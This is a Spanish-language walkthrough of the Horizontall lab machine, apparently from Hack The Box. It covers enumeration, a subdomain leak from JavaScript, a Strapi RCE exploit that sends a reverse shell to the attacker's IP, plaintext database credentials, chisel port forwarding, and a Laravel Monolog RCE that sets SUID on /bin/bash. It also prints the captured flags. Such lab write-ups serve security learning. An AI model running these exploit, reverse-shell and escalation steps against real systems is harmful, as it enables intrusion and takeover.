Horizontall



Conocimientos

  • Enumeración Web

  • Information Disclousure - Subdominio en JS File

  • Strapy - RCE

  • Remote Port Forwarding

  • Laravel - RCE (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.105 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 11:04 GMT
Nmap scan report for 10.10.11.105
Host is up (0.055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.23 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.105 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 11:05 GMT
Nmap scan report for 10.10.11.105
Host is up (0.051s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee774143d482bd3e6e6e50cdff6b0dd5 (RSA)
|   256 3ad589d5da9559d9df016837cad510b0 (ECDSA)
|_  256 4a0004b49d29e7af37161b4f802d9894 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.99 seconds

Añado el dominio horizontall.htb al /etc/hosts

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://horizontall.htb
http://horizontall.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.105], Script, Title[horizontall], X-UA-Compatible[IE=edge], nginx[1.14.0]

La página principal se ve así:

Filtro por los archivos en JavaScript

curl -s -X GET http://horizontall.htb/ | grep -oP '".*?"' | tr -d '"' | grep js$
/js/app.c68eb462.js
/js/chunk-vendors.0e02b89e.js
/js/chunk-vendors.0e02b89e.js
/js/app.c68eb462.js

Descargo todos

for i in $(curl -s -X GET http://horizontall.htb/ | grep -oP '".*?"' | tr -d '"' | grep js$); do wget http://horizontall.htb/$i; done

Y convierto en un formato legible

js-beautify *
beautified app.c68eb462.js
beautified app.c68eb462.js.1
beautified chunk-vendors.0e02b89e.js
beautified chunk-vendors.0e02b89e.js.1

Entre todos los datos, se leakea un subdominio

cat * | grep -oP '".*?"' | tr -d '"' | grep http | grep -viE "w3|bootstrap|Agent" | sort -u
http://api-prod.horizontall.htb/reviews
https://horizontall.htb

Lo añado al /etc/hosts y tramito una petición por GET

 curl -s -X GET http://api-prod.horizontall.htb/ | html2text

****** Welcome. ******

En las cabeceras de respuesta se puede ver que se está empleando Strapy. Es vulnerable a ejecución remota de comandos. Encuentro un exploit que me permite enviar una reverse shell

python3 strapi_exp.py -t http://api-prod.horizontall.htb/ -e admin@horizontall.htb -p rubbx -lhost 10.10.16.9 -lport 443

Gano acceso al sistema en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.105] 56178
bash: cannot set terminal process group (1911): Inappropriate ioctl for device
bash: no job control in this shell
strapi@horizontall:~/myapi$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
strapi@horizontall:~/myapi$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
strapi@horizontall:~/myapi$ export TERM=xterm
strapi@horizontall:~/myapi$ export SHELL=bash
strapi@horizontall:~/myapi$ stty rows 55 columns 209

Puedo ver la primera flag

strapi@horizontall:/home/developer$ cat user.txt 
a3c8f26f8f3db2d9ccdd4fd3bcf838a5

Escalada

Este usuario tiene un directorio donde se exponen credenciales en texto claro de acceso a la base de datos

strapi@horizontall:~/myapi/config/environments/development$ cat database.json 
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}

El puerto 8000 está abierto internamente

strapi@horizontall:~$ ss -nltp
State                Recv-Q                Send-Q                                Local Address:Port                               Peer Address:Port                                                              
LISTEN               0                     80                                        127.0.0.1:3306                                    0.0.0.0:*                                                                 
LISTEN               0                     128                                         0.0.0.0:80                                      0.0.0.0:*                                                                 
LISTEN               0                     128                                         0.0.0.0:22                                      0.0.0.0:*                                                                 
LISTEN               0                     128                                       127.0.0.1:1337                                    0.0.0.0:*                   users:(("node",pid=1911,fd=31))               
LISTEN               0                     128                                       127.0.0.1:8000                                    0.0.0.0:*                                                                 
LISTEN               0                     128                                            [::]:80                                         [::]:*                                                                 
LISTEN               0                     128                                            [::]:22                                         [::]:*                            

Se está empleando Laravel

strapi@horizontall:~$ curl -s http://127.0.0.1:8000 | tail -n 7 | head -n 1
                            Laravel v8 (PHP v7.4.18)

Utilizo chisel para hacer Remote Port Forwarding. En mi equipo lo ejecuto como servidor

chisel server -p 1234 --reverse

Y en la máquina víctima como cliente

strapi@horizontall:/tmp$ ./chisel client 10.10.16.9:1234 R:8000:127.0.0.1:8000

Utilizo este exploit y le asigno SUID a la bash

python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 'chmod u+s /bin/bash'

Puedo ver la segunda flag

strapi@horizontall:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash
strapi@horizontall:/tmp$ bash -p
bash-4.4# cat /root/root.txt
22bd1f2cd1a9c7cb72c8183da48cdbc7